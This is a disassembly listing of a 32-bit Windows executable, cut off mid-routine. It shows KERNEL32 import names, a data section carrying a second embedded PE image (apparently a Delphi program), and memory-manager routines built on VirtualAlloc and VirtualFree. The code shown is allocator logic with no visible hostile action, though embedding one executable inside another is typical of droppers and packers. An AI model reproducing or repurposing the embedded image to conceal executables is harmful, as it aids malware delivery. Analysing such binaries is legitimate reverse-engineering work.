		align 10h
aI0		db '¨0',0
		align 4
		dd 2 dup(0)
		dd 315Eh, 3000h, 5 dup(0)
		dd 30D0h, 30E2h, 30F2h,	3106h, 3116h, 3126h, 3132h, 3144h
		dd 3152h, 0
		dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 17F0000h, 4D746547h
		dd 6C75646Fh, 6E614865h, 41656C64h, 1C80000h, 53746547h
		dd 65747379h, 6D69546Dh, 1DF0065h, 54746547h, 436B6369h
		dd 746E756Fh, 2100000h,	70616548h, 6F6C6C41h, 1A30063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h
		dd 6F6C6C41h, 2160063h,	70616548h, 65657246h, 454B0000h
		dd 4C454E52h, 642E3233h, 6C6Ch
		align 100h
_rdata		ends

; Section 3. (virtual address 00004000)
; Virtual size			: 0005DB60 ( 383840.)
; Section size in file		: 0005DB60 ( 383840.)
; Offset to raw	data for section: 00004000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 3D4000h
dword_3D4000	dd 505A4Dh, 2, 0F0004h,	0FFFFh,	0B8h, 0					; sub_3D14C4:loc_3D15F5o ...
		dd 1A0040h, 8 dup(0)
		dd 100h, 0E0010BAh, 0CD09B41Fh,	4C01B821h, 909021CDh, 73696854h
		dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
		dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
		dd 4550h, 8014Ch, 2A425E19h, 2 dup(0)
		dd 818E00E0h, 1902010Bh, 2600h,	18C00h,	0
		dd 3540h, 1000h, 4000h,	400000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 22000h, 400h, 0
		dd 2, 100000h, 4000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 6000h, 446h,	0A000h,	17CA0h,	4 dup(0)
		dd 9000h, 30Ch,	6 dup(0)
		dd 8000h, 18h, 0Ch dup(0)
aCode		db 'CODE',0
		align 10h
		db 'l%',0
		align 4
		dd 1000h, 2600h, 400h, 3 dup(0)
		dd 60000020h, 41544144h, 0
		dd 0A0h, 4000h,	200h, 2A00h, 3 dup(0)
		dd 0C0000040h, 535342h,	0
		dd 665h, 5000h,	0
		dd 2C00h, 3 dup(0)
		dd 0C0000000h, 6164692Eh, 6174h, 446h, 6000h, 600h, 2C00h
		dd 3 dup(0)
		dd 0C0000040h, 736C742Eh, 0
		dd 8, 7000h, 0
		dd 3200h, 3 dup(0)
		dd 0C0000000h, 6164722Eh, 6174h, 18h, 8000h, 200h, 3200h
		dd 3 dup(0)
		dd 50000040h, 6C65722Eh, 636Fh,	30Ch, 9000h, 400h, 3400h
		dd 3 dup(0)
		dd 50000040h, 7273722Eh, 63h, 17CA0h, 0A000h, 17E00h, 3800h
		dd 3 dup(0)
		dd 50000040h, 3	dup(0)
		dd 0B000h, 0
		dd 3A00h, 3 dup(0)
		dd 50000040h, 28h dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4400	proc near		; CODE XREF: sub_3D6170+39p
					; sub_3D6170+54p
		jmp	dword_4060C8
sub_3D4400	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 60C425FFh, 0C08B0040h, 60C025FFh, 0C08B0040h, 60BC25FFh
		dd 0C08B0040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4420	proc near		; CODE XREF: sub_3D6170+3Fp
					; sub_3D6170+5Ap
		jmp	dword_4060B8
sub_3D4420	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4428	proc near		; CODE XREF: sub_3D61FC+BAp
		jmp	dword_4060B4
sub_3D4428	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4430	proc near		; CODE XREF: sub_3D6170+78p
		jmp	dword_4060D4
sub_3D4430	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4438	proc near		; CODE XREF: sub_3D61FC+85p
		jmp	dword_4060B0
sub_3D4438	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 60AC25FFh, 0C08B0040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4448	proc near		; CODE XREF: .data:003D648Ep
		jmp	dword_4060A8
sub_3D4448	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 60A425FFh, 0C08B0040h, 60A025FFh, 0C08B0040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4460	proc near		; CODE XREF: .data:003D5AFBp
		jmp	dword_4060E4
sub_3D4460	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4468	proc near		; CODE XREF: .data:003D5AB2p
		jmp	dword_4060E0
sub_3D4468	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D4470	proc near		; CODE XREF: .data:003D5AE5p
		jmp	dword_4060DC
sub_3D4470	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 609C25FFh, 0C08B0040h, 609825FFh, 0C08B0040h, 0BCC48353h
		dd 0ABBh, 0B9E85400h, 0F6FFFFFFh, 12C2444h, 0B70F0574h
		dd 8B30245Ch, 44C483C3h, 0C08BC35Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44AC	proc near		; CODE XREF: sub_3D44EC+13p
					; sub_3D4B78+53p
		jmp	dword_406094
sub_3D44AC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44B4	proc near		; CODE XREF: sub_3D4C3C+3Fp
					; sub_3D4C3C+9Dp
		jmp	dword_406090
sub_3D44B4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44BC	proc near		; CODE XREF: sub_3D4690+2Fp
					; sub_3D46F4+1Ep ...
		jmp	dword_40608C
sub_3D44BC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44C4	proc near		; CODE XREF: sub_3D4690+56p
					; sub_3D46F4+69p ...
		jmp	dword_406088
sub_3D44C4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44CC	proc near		; CODE XREF: sub_3D4B78+16p
		jmp	dword_406084
sub_3D44CC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44D4	proc near		; CODE XREF: sub_3D4B78+29p
					; sub_3D4C3C+2Dp ...
		jmp	dword_406080
sub_3D44D4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44DC	proc near		; CODE XREF: sub_3D4B78+B0p
					; sub_3D4C3C+C6p ...
		jmp	dword_40607C
sub_3D44DC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D44E4	proc near		; CODE XREF: sub_3D4C3C+D0p
		jmp	dword_406078
sub_3D44E4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D44EC	proc near		; CODE XREF: sub_3D4544+6p
		push	ebx
		push	esi
		mov	esi, offset dword_4055D0
		cmp	dword ptr [esi], 0
		jnz	short loc_3D4532
		push	644h
		push	0
		call	sub_3D44AC	; LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_3D450F
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_3D450F:				; CODE XREF: sub_3D44EC+1Cj
		mov	eax, dword_4055CC
		mov	[ecx], eax
		mov	dword_4055CC, ecx
		xor	edx, edx


loc_3D451E:				; CODE XREF: sub_3D44EC+44j
		mov	eax, edx
		add	eax, eax
		lea	eax, [ecx+eax*8+4]
		mov	ebx, [esi]
		mov	[eax], ebx
		mov	[esi], eax
		inc	edx
		cmp	edx, 64h
		jnz	short loc_3D451E


loc_3D4532:				; CODE XREF: sub_3D44EC+Aj
		mov	eax, [esi]
		mov	edx, [eax]
		mov	[esi], edx
		pop	esi
		pop	ebx
		retn
sub_3D44EC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D453C	proc near		; CODE XREF: sub_3D4B78+33p
					; sub_3D4B78+3Dp ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_3D453C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D4544	proc near		; CODE XREF: sub_3D458C+5Dp
					; sub_3D45FC+73p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		call	sub_3D44EC
		test	eax, eax
		jnz	short loc_3D4558
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_3D4558:				; CODE XREF: sub_3D4544+Dj
		mov	edx, [esi]
		mov	[eax+8], edx
		mov	edx, [esi+4]
		mov	[eax+0Ch], edx
		mov	edx, [ebx]
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	[edx+4], eax
		mov	[ebx], eax
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_3D4544	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D4574	proc near		; CODE XREF: sub_3D458C+2Cp
					; sub_3D458C+48p ...
		mov	edx, [eax+4]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[ecx+4], edx
		mov	edx, dword_4055D0
		mov	[eax], edx
		mov	dword_4055D0, eax
		retn
sub_3D4574	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D458C	proc near		; CODE XREF: sub_3D4938+6Cp
					; sub_3D49C8+62p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, ecx
		mov	[esp+14h+var_14], edx
		mov	ebp, eax
		mov	ebx, [ebp+0]
		mov	eax, [esp+14h+var_14]
		mov	edx, [eax]
		mov	[esi], edx
		mov	edx, [eax+4]
		mov	[esi+4], edx


loc_3D45A8:				; CODE XREF: sub_3D458C+57j
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnz	short loc_3D45CA
		mov	eax, ebx
		call	sub_3D4574
		mov	eax, [ebx+8]
		mov	[esi], eax
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax
		jmp	short loc_3D45DF
; ---------------------------------------------------------------------------


loc_3D45CA:				; CODE XREF: sub_3D458C+28j
		add	eax, [esi+4]
		cmp	eax, [ebx+8]
		jnz	short loc_3D45DF
		mov	eax, ebx
		call	sub_3D4574
		mov	eax, [ebx+0Ch]
		add	[esi+4], eax


loc_3D45DF:				; CODE XREF: sub_3D458C+3Cj
					; sub_3D458C+44j
		mov	ebx, edi
		cmp	ebp, ebx
		jnz	short loc_3D45A8
		mov	edx, esi
		mov	eax, ebp
		call	sub_3D4544
		test	al, al
		jnz	short loc_3D45F6
		xor	eax, eax
		mov	[esi], eax


loc_3D45F6:				; CODE XREF: sub_3D458C+64j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D458C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D45FC	proc near		; CODE XREF: sub_3D4AEC+7Ap
					; sub_3D4ED4+99p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edi, ebx


loc_3D4607:				; CODE XREF: sub_3D45FC+88j
		mov	esi, [edx]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jb	short loc_3D4680
		mov	ecx, esi
		add	ecx, [edx+4]
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		ja	short loc_3D4680
		cmp	esi, eax
		jnz	short loc_3D463D
		mov	eax, [edx+4]
		add	[ebx+8], eax
		mov	eax, [edx+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_3D467C
		mov	eax, ebx
		call	sub_3D4574
		jmp	short loc_3D467C
; ---------------------------------------------------------------------------


loc_3D463D:				; CODE XREF: sub_3D45FC+24j
		mov	ecx, esi
		mov	edi, [edx+4]
		add	ecx, edi
		mov	ebp, eax
		add	ebp, [ebx+0Ch]
		cmp	ecx, ebp
		jnz	short loc_3D4652
		sub	[ebx+0Ch], edi
		jmp	short loc_3D467C
; ---------------------------------------------------------------------------


loc_3D4652:				; CODE XREF: sub_3D45FC+4Fj
		mov	ecx, [edx]
		add	ecx, [edx+4]
		mov	[esp+18h+var_18], ecx
		mov	edi, [ebx+8]
		add	edi, [ebx+0Ch]
		sub	edi, ecx
		mov	[esp+18h+var_14], edi
		sub	esi, eax
		mov	[ebx+0Ch], esi
		mov	edx, esp
		mov	eax, ebx
		call	sub_3D4544
		test	al, al
		jnz	short loc_3D467C
		xor	eax, eax
		jmp	short loc_3D4688
; ---------------------------------------------------------------------------


loc_3D467C:				; CODE XREF: sub_3D45FC+36j
					; sub_3D45FC+3Fj ...
		mov	al, 1
		jmp	short loc_3D4688
; ---------------------------------------------------------------------------


loc_3D4680:				; CODE XREF: sub_3D45FC+12j
					; sub_3D45FC+20j
		mov	ebx, [ebx]
		cmp	edi, ebx
		jnz	short loc_3D4607
		xor	eax, eax


loc_3D4688:				; CODE XREF: sub_3D45FC+7Ej
					; sub_3D45FC+82j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D45FC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D4690	proc near		; CODE XREF: sub_3D4938+5Cp
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_3D46A6
		mov	esi, 100000h
		jmp	short loc_3D46B2
; ---------------------------------------------------------------------------


loc_3D46A6:				; CODE XREF: sub_3D4690+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_3D46B2:				; CODE XREF: sub_3D4690+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_3D44BC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_3D46EF
		mov	edx, ebx
		mov	eax, offset dword_4055D4
		call	sub_3D4544
		test	al, al
		jnz	short loc_3D46EF
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_3D44C4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_3D46EF:				; CODE XREF: sub_3D4690+3Aj
					; sub_3D4690+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4690	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D46F4	proc near		; CODE XREF: sub_3D49C8+4Cp
					; sub_3D49C8+93p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_3D44BC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_3D473E
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_3D44BC	; VirtualAlloc
		mov	[ebx], eax


loc_3D473E:				; CODE XREF: sub_3D46F4+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_3D4766
		mov	edx, ebx
		mov	eax, offset dword_4055D4
		call	sub_3D4544
		test	al, al
		jnz	short loc_3D4766
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_3D44C4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_3D4766:				; CODE XREF: sub_3D46F4+4Dj
					; sub_3D46F4+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D46F4	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D476C	proc near		; CODE XREF: sub_3D4938+7Ep
					; sub_3D49C8+7Ap ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_20], ecx
		mov	[esp+24h+var_24], edx
		mov	[esp+24h+var_1C], 0FFFFFFFFh
		xor	edx, edx
		mov	[esp+24h+var_18], edx
		mov	ebp, eax
		mov	eax, [esp+24h+var_24]
		add	eax, ebp
		mov	[esp+24h+var_14], eax
		mov	ebx, dword_4055D4
		jmp	short loc_3D47EC
; ---------------------------------------------------------------------------


loc_3D479B:				; CODE XREF: sub_3D476C+86j
		mov	edi, [ebx]
		mov	esi, [ebx+8]
		cmp	ebp, esi
		ja	short loc_3D47EA
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_14]
		ja	short loc_3D47EA
		cmp	esi, [esp+24h+var_1C]
		jnb	short loc_3D47B9
		mov	[esp+24h+var_1C], esi


loc_3D47B9:				; CODE XREF: sub_3D476C+47j
		mov	eax, esi
		add	eax, [ebx+0Ch]
		cmp	eax, [esp+24h+var_18]
		jbe	short loc_3D47C8
		mov	[esp+24h+var_18], eax


loc_3D47C8:				; CODE XREF: sub_3D476C+56j
		push	8000h
		push	0
		push	esi
		call	sub_3D44C4	; VirtualFree
		test	eax, eax
		jnz	short loc_3D47E3
		mov	dword_4055B0, 1


loc_3D47E3:				; CODE XREF: sub_3D476C+6Bj
		mov	eax, ebx
		call	sub_3D4574


loc_3D47EA:				; CODE XREF: sub_3D476C+36j
					; sub_3D476C+41j
		mov	ebx, edi


loc_3D47EC:				; CODE XREF: sub_3D476C+2Dj
		cmp	ebx, offset dword_4055D4
		jnz	short loc_3D479B
		mov	eax, [esp+24h+var_20]
		xor	edx, edx
		mov	[eax], edx
		cmp	[esp+24h+var_18], 0
		jz	short loc_3D481C
		mov	eax, [esp+24h+var_20]
		mov	edx, [esp+24h+var_1C]
		mov	[eax], edx
		mov	eax, [esp+24h+var_18]
		sub	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_20]
		mov	[edx+4], eax


loc_3D481C:				; CODE XREF: sub_3D476C+95j
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D476C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D4824	proc near		; CODE XREF: sub_3D4938+2Dp
					; sub_3D49C8+E6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_18], ecx
		mov	[esp+1Ch+var_1C], edx
		mov	edx, eax
		mov	ebp, edx
		and	ebp, 0FFFFF000h
		add	edx, [esp+1Ch+var_1C]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+1Ch+var_14], edx
		mov	eax, [esp+1Ch+var_18]
		mov	[eax], ebp
		mov	eax, [esp+1Ch+var_14]
		sub	eax, ebp
		mov	edx, [esp+1Ch+var_18]
		mov	[edx+4], eax
		mov	esi, dword_4055D4
		jmp	short loc_3D48A6
; ---------------------------------------------------------------------------


loc_3D486A:				; CODE XREF: sub_3D4824+88j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebp, ebx
		jbe	short loc_3D4878
		mov	ebx, ebp


loc_3D4878:				; CODE XREF: sub_3D4824+50j
		cmp	edi, [esp+1Ch+var_14]
		jbe	short loc_3D4882
		mov	edi, [esp+1Ch+var_14]


loc_3D4882:				; CODE XREF: sub_3D4824+58j
		cmp	edi, ebx
		jbe	short loc_3D48A4
		push	4
		push	1000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_3D44BC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_3D48A4
		mov	eax, [esp+1Ch+var_18]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_3D48AE
; ---------------------------------------------------------------------------


loc_3D48A4:				; CODE XREF: sub_3D4824+60j
					; sub_3D4824+74j
		mov	esi, [esi]


loc_3D48A6:				; CODE XREF: sub_3D4824+44j
		cmp	esi, offset dword_4055D4
		jnz	short loc_3D486A


loc_3D48AE:				; CODE XREF: sub_3D4824+7Ej
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4824	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D48B8	proc near		; CODE XREF: sub_3D4AEC+2Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, eax
		mov	esi, ebx
		add	esi, 0FFFh
		and	esi, 0FFFFF000h
		mov	[esp+14h+var_14], esi
		mov	ebp, ebx
		add	ebp, edx
		and	ebp, 0FFFFF000h
		mov	eax, [esp+14h+var_14]
		mov	[ecx], eax
		mov	eax, ebp
		sub	eax, [esp+14h+var_14]
		mov	[ecx+4], eax
		mov	esi, dword_4055D4
		jmp	short loc_3D4927
; ---------------------------------------------------------------------------


loc_3D48EF:				; CODE XREF: sub_3D48B8+75j
		mov	ebx, [esi+8]
		mov	edi, [esi+0Ch]
		add	edi, ebx
		cmp	ebx, [esp+14h+var_14]
		jnb	short loc_3D48FF
		mov	ebx, [esp+14h+var_14]


loc_3D48FF:				; CODE XREF: sub_3D48B8+42j
		cmp	ebp, edi
		jnb	short loc_3D4905
		mov	edi, ebp


loc_3D4905:				; CODE XREF: sub_3D48B8+49j
		cmp	edi, ebx
		jbe	short loc_3D4925
		push	4000h
		sub	edi, ebx
		push	edi
		push	ebx
		call	sub_3D44C4	; VirtualFree
		test	eax, eax
		jnz	short loc_3D4925
		mov	dword_4055B0, 2


loc_3D4925:				; CODE XREF: sub_3D48B8+4Fj
					; sub_3D48B8+61j
		mov	esi, [esi]


loc_3D4927:				; CODE XREF: sub_3D48B8+35j
		cmp	esi, offset dword_4055D4
		jnz	short loc_3D48EF
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D48B8	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D4938	proc near		; CODE XREF: sub_3D50E4+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	edi, eax
		mov	ebp, offset dword_4055E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_3D4954:				; CODE XREF: sub_3D4938+75j
		mov	ebx, [ebp+0]
		jmp	short loc_3D498C
; ---------------------------------------------------------------------------


loc_3D4959:				; CODE XREF: sub_3D4938+56j
		cmp	edi, [ebx+0Ch]
		jg	short loc_3D498A
		mov	ecx, esi
		mov	edx, edi
		mov	eax, [ebx+8]
		call	sub_3D4824
		cmp	dword ptr [esi], 0
		jz	short loc_3D49BF
		mov	eax, [esi+4]
		add	[ebx+8], eax
		mov	eax, [esi+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_3D49BF
		mov	eax, ebx
		call	sub_3D4574
		jmp	short loc_3D49BF
; ---------------------------------------------------------------------------


loc_3D498A:				; CODE XREF: sub_3D4938+24j
		mov	ebx, [ebx]


loc_3D498C:				; CODE XREF: sub_3D4938+1Fj
		cmp	ebx, ebp
		jnz	short loc_3D4959
		mov	edx, esi
		mov	eax, edi
		call	sub_3D4690
		cmp	dword ptr [esi], 0
		jz	short loc_3D49BF
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebp
		call	sub_3D458C
		cmp	[esp+18h+var_18], 0
		jnz	short loc_3D4954
		mov	ecx, esp
		mov	edx, [esi+4]
		mov	eax, [esi]
		call	sub_3D476C
		xor	eax, eax
		mov	[esi], eax


loc_3D49BF:				; CODE XREF: sub_3D4938+35j
					; sub_3D4938+47j ...
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D4938	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D49C8	proc near		; CODE XREF: sub_3D5110+10p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], ecx
		mov	edi, edx
		mov	esi, eax
		mov	ebp, offset dword_4055E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_3D49E7:				; CODE XREF: sub_3D49C8+6Cj
					; sub_3D49C8+B3j
		mov	ebx, [ebp+0]
		jmp	short loc_3D49EE
; ---------------------------------------------------------------------------


loc_3D49EC:				; CODE XREF: sub_3D49C8+2Dj
		mov	ebx, [ebx]


loc_3D49EE:				; CODE XREF: sub_3D49C8+22j
		cmp	ebx, ebp
		jz	short loc_3D49F7
		cmp	esi, [ebx+8]
		jnz	short loc_3D49EC


loc_3D49F7:				; CODE XREF: sub_3D49C8+28j
		cmp	esi, [ebx+8]
		jnz	short loc_3D4A53
		cmp	edi, [ebx+0Ch]
		jle	loc_3D4A9B
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		sub	edx, [ebx+0Ch]
		mov	eax, [ebx+8]
		add	eax, [ebx+0Ch]
		call	sub_3D46F4
		cmp	[esp+24h+var_20], 0
		jz	short loc_3D4A53
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_3D458C
		cmp	[esp+24h+var_18], 0
		jnz	short loc_3D49E7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_3D476C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_3D4AE3
; ---------------------------------------------------------------------------


loc_3D4A53:				; CODE XREF: sub_3D49C8+32j
					; sub_3D49C8+56j
		lea	ecx, [esp+24h+var_20]
		mov	edx, edi
		mov	eax, esi
		call	sub_3D46F4
		cmp	[esp+24h+var_20], 0
		jz	short loc_3D4A9B
		lea	ecx, [esp+24h+var_18]
		lea	edx, [esp+24h+var_20]
		mov	eax, ebp
		call	sub_3D458C
		cmp	[esp+24h+var_18], 0
		jnz	loc_3D49E7
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_3D476C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_3D4AE3
; ---------------------------------------------------------------------------


loc_3D4A9B:				; CODE XREF: sub_3D49C8+37j
					; sub_3D49C8+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_3D4ADC
		cmp	edi, [ebx+0Ch]
		jg	short loc_3D4ADC
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_3D4824
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_3D4AE3
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_3D4AE3
		mov	eax, ebx
		call	sub_3D4574
		jmp	short loc_3D4AE3
; ---------------------------------------------------------------------------


loc_3D4ADC:				; CODE XREF: sub_3D49C8+D8j
					; sub_3D49C8+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_3D4AE3:				; CODE XREF: sub_3D49C8+86j
					; sub_3D49C8+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D49C8	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D4AEC	proc near		; CODE XREF: sub_3D4ED4+4Ep
					; sub_3D4ED4+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_3D4B6D
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_3D48B8
		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset dword_4055E4
		call	sub_3D458C
